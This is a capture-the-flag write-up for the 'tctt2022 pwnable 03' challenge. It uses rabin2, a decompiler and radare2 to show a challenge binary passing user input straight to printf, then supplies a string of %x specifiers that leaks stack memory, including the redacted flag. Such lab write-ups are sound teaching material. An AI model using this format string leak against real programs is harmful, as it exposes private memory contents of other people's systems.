[tctt2022] pwnable 03

Read my other article for part 1 and 2!

The binary for this challenge will ask the user for input and reflect it back:

./challenge               
Hello. Please tell me your secret!
AAAA
AAAA
We love your secret!

I use rabin2 to analyze how the flag will be printed. I found that it is in the binary itself not in other file like the previous challenges:

rabin2 -zzz ./challenge
018 0x00001183 0x00001183   9  10 (.text) ascii tctt2022H
019 0x0000118d 0x0000118d   9  10 (.text) ascii {REDACTEH

Let’s decompile the binary:

undefined8 main(void)
{
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined7 local_20;
  undefined4 uStack25;
  
  local_28 = 0x3232303274746374;
  local_20 = 0x5443414445527b;
  uStack25 = 0x7d4445;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  puts("Hello. Please tell me your secret!");
  read(0,&local_68,0x40);
  printf((char *)&local_68);
  putchar(10);
  puts("We love your secret!");
  sleep(0);
  puts(
      "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
      );
  puts("Me loves your secret!");
  putchar(10);
  return 0;
}

So, it stores something in local variable. Using r2 can show us what it is:

[0x00001179]> pdf
            ; DATA XREF from entry0 @ 0x10a4
┌ 243: int main (int argc, char **argv, char **envp);
│           ; var char *format @ rbp-0x60
│           ; var int64_t var_58h @ rbp-0x58
│           ; var int64_t var_50h @ rbp-0x50
│           ; var int64_t var_48h @ rbp-0x48
│           ; var int64_t var_40h @ rbp-0x40
│           ; var int64_t var_38h @ rbp-0x38
│           ; var int64_t var_30h @ rbp-0x30
│           ; var int64_t var_28h @ rbp-0x28
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_18h @ rbp-0x18
│           ; var int64_t var_11h @ rbp-0x11
│           0x00001179      55             push rbp
│           0x0000117a      4889e5         mov rbp, rsp
│           0x0000117d      4883ec60       sub rsp, 0x60
│           0x00001181      48b874637474.  movabs rax, 0x3232303274746374 ; 'tctt2022'
│           0x0000118b      48ba7b524544.  movabs rdx, 0x455443414445527b ; '{REDACTE'
│           0x00001195      488945e0       mov qword [var_20h], rax
│           0x00001199      488955e8       mov qword [var_18h], rdx
│           0x0000119d      c745ef45447d.  mov dword [var_11h], 0x7d4445 ; 'ED}'
```
So, it stores flag in the local variable. Let's see where input begins:
```shell
0x000011f7      ba40000000     mov edx, 0x40               ; elf_phdr ; size_t nbyte
│           0x000011fc      4889c6         mov rsi, rax                ; void *buf
│           0x000011ff      bf00000000     mov edi, 0                  ; int fildes
│           0x00001204      e857feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00001209      488d45a0       lea rax, [format]
│           0x0000120d      4889c7         mov rdi, rax                ; const char *format
│           0x00001210      b800000000     mov eax, 0
│           0x00001215      e836feffff     call sym.imp.printf         ; int printf(const char *format)

It uses read() to get user input and print them with printf()

Get Fnnnr’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Which, in this case, is vulnerable to format string vulnerability.

In short, we can input the format like %d %p %x and the printf will treat our input as the format string and it will read arbitrary number of variables indicated with the format string. The variable is the data on the stack at that time (For x64, it will consume the value in register first, see the calling convention for x64)
To exploit this, we can simply supply a lot of %x (format string for hex value) to make it leaks whatever is on the stack.

Remember that the flag is also stored on the stack as well.

Let’s try a lot of %x :

./challenge 
Hello. Please tell me your secret!
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
f5ca0ad0 40 4d1e9a7e 3 77 25207825 20782520 78252078 25207825 20782520 78252078 25207825 20782520 74746374 4445527b 7d44 0 1 4d11920a 0 b58b1179 tt2022{REDACTED}
We love your secret!

We got the flag!